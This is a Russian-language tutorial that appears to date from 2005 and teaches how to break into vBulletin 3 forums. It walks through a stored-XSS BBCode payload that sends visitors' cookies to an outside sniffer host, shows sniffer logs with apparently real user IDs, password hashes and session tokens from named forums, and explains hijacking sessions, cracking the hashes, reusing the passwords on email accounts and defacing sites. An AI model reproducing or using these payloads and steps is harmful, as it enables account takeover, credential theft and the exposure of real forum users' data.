[ Простой взлом форумов Vbulletun3 ]

Статья типа чисто для образовательных целей и вы ею пользуйтесь на свой стрих и риск =)
Если эту статью читает какой нить мега хакер, то пусть простит меня за то что в некоторых случаях я обьясняю термин слишком ламерски (просто я хотел чтобы понял каждый чел).

Я вам расскажу про взлом форумов стоящих на скрипте Vbulletun3x
Как будет это происходить: Мы внедрим в поле сообщения код который снифит всех кто заходит на эту тему (снифит - значит крадет кукисы, а в кукисах содержаться пароли и номер пользователя)
Вам нужно: программа md5inside (прога которая рассшифровывает мд5хеши, мд5хеши - это зашифрованные пароли); прога для работа с куками (cookie) я например люблю пользоваться встроеным у Opera (там надо зайти Tools->preferenses->Privasy и там в manage cookies). Вобще советую пользоваться этим браузером он быстрый, удобный и вот эта фича с взломом не затронет тех кто пользуется ей(браузер просто показывет этот код).

Начнем...
Для начала найдем сайт с этим форумом, для этого зайдем на всехакерско любимый поисковик www.google.kz (кстати на казахстанских сайтах все эти форумы взломаны или у них украли пароли например www.bb.ct.kz, кстати я там тоже пробовал=)) Так... заходим на гугл и пишем powered by vBulletin3 -это мы начинаем поиск всех форумов. Он вам выдаст дофига резултатов так что заходим куданить в середину и заходим на сайт с этим форумом.

Что дальше?
Регимся на форуме.
Заходим в любую тему (желательно самую посещаемую) нажимаем ответиь и пишем для проверки работает эта уязвимость на этом форуме или нет такой текст

[EMAIL=[URL=s as=`s@wew.ew]mailto:assss@wew.ew ]
sssssss[/URL][/EMAIL]` style=`background:url(javaSCrip t:alert(/Hi_from_hacker/))`

Если вы пользуйтесь браузером опера, то вы увидите в сообщение текст этого скрипта (так что зайдите через майкрософтский), если майкрософтским, то при обновление страницы если уязвимость работает выскочит маленькое окошко с надписью Hi_from_hacker если это произошло радуйтесь значит скрипт работает. Теперь сделаем так чтобы при заходе на эту тему снифились куки юзера, для этого изменяем строчку на такую

[EMAIL=[URL=s as=`s@wew.ew]mailto:assss@wew.ew ]
sssssss[/URL][/EMAIL]` style=`background:url(javaSCrip t:document.images[1].src="htt"+"p"+":"+"/"+"/"+
"antichat.ru/cgi-bin/s.jpg?K:"+document.cookie)`

Так как у вас своего снифера нет то мы вводим снифер античата http://www.antichat.ru/sniff/log.php
теперь при заходе на эту тему куки юзера отправяться на снифер античата. Заходим на http://www.antichat.ru/sniff/log.php и если кто то уже заходил на эту тему то увидим
типа такого

[Sun Jan 16 12:32:56 2005] IP=212.116.241.98 REFERER=http://bb.ct.kz/index.php?showtopic=42063 QUERY
=CookieIp=212.116.241.98; member_id=4445; pass_hash=cbbc5722ba79515c4b1cf766063ff576; forum_read=
a:25:{i:67;i:1105111254;i:30;i:1103175844;i:73;i:1104760187;i:15;i:1105867890;i:9;i:1105867839;i:19;i:
1103379911;i:46;i:1104595963;i:14;i:1104578658;i:32;i:1104774048;i:39;i:1104469182;i:5;i:11044845
43;i:55;i:1104489737;i:47;i:1104498995;i:63;i:1104502346;i:54;i:1105114290;i:58;i:1104504341;i:1;
i:1105014536;i:35;i:1104757815;i:31;i:1104757831;i:13;i:1104760628;i:23;i:1105111269;i:51;i:11051
13984;i:59;i:1105114139;i:56;i:1105115152;i:12;i:1105862449;}; session_id=65ea9925b90be4d962225c
094f972567; topicsread=a:10:{i:39023;i:1105862393;i:33287;i:1105866683;i:41942;i:1105862435;i:41952;
i:1105862585;i:22397;i:1105867421;i:42054;i:1105867779;i:40906;i:1105867448;i:42043;i:1105867503;i:
40628;i:1105867888;i:42
063;i:1105867909;}

или

[Sun Jan 16 12:58:39 2005] IP=81.223.66.227 REFERER=http://reibert.info/forum/showthread.php?p=
1831&posted=1#post1831 QUERY=K:bblastvisit=1105867973; bblastactivity=1105869007; bbsessionhash=
cf876502413bef10ddca018a88f0f9e8; bbuserid=303; bbpassword=cbb0804a00145ecc5e1a55d91c953741;
bbforum_view=ax1x-ix34yix1105869110y_; bbthread_lastview=ax1x-ix97ysx10x"1105801536"y_

где member_id или bbuserid - номер юзера в базе данных
и
pass_hash или bbpassword - пароль
В первом случае
номер 4445
пароль(зашифровнный) cbbc5722ba79515c4b1cf766063ff576

Теперь попробуем зайти на форум как этот пользователь для этого в кукисах меняем свой значения member_id или bbuserid и pass_hash или bbpassword на чужие. Вот как это делается в опере: заходим в manage cookies находим сайт этот и изменяем данные и удаляем значение bbsessionhash. Заходим все заново на форум и он нам пишет Привет ****** (под каким вы зашли вместо вашего имени). Вот имя мы уже знаем, осталось рассшифровать пароль с помощью проги md5inside (попробуйте разобраться сами).

Так можно украсть и пароль админа, а там уже и дефейс сайта=))). Кстати если вы знаете логин и пароль юзера попробуйте их в его почтовом ящике 90процентов что совпадут=).
Надеюсь что всем было понятно если что-то непонятно пишите на nervman@mail.ru
И помните: пользуйтесь анонимным прокси (если что просите напишу статью про это) и не будьте злыми ведь все люди на земле братья

[ Nervous_from_morning <nervman@mail.ru>]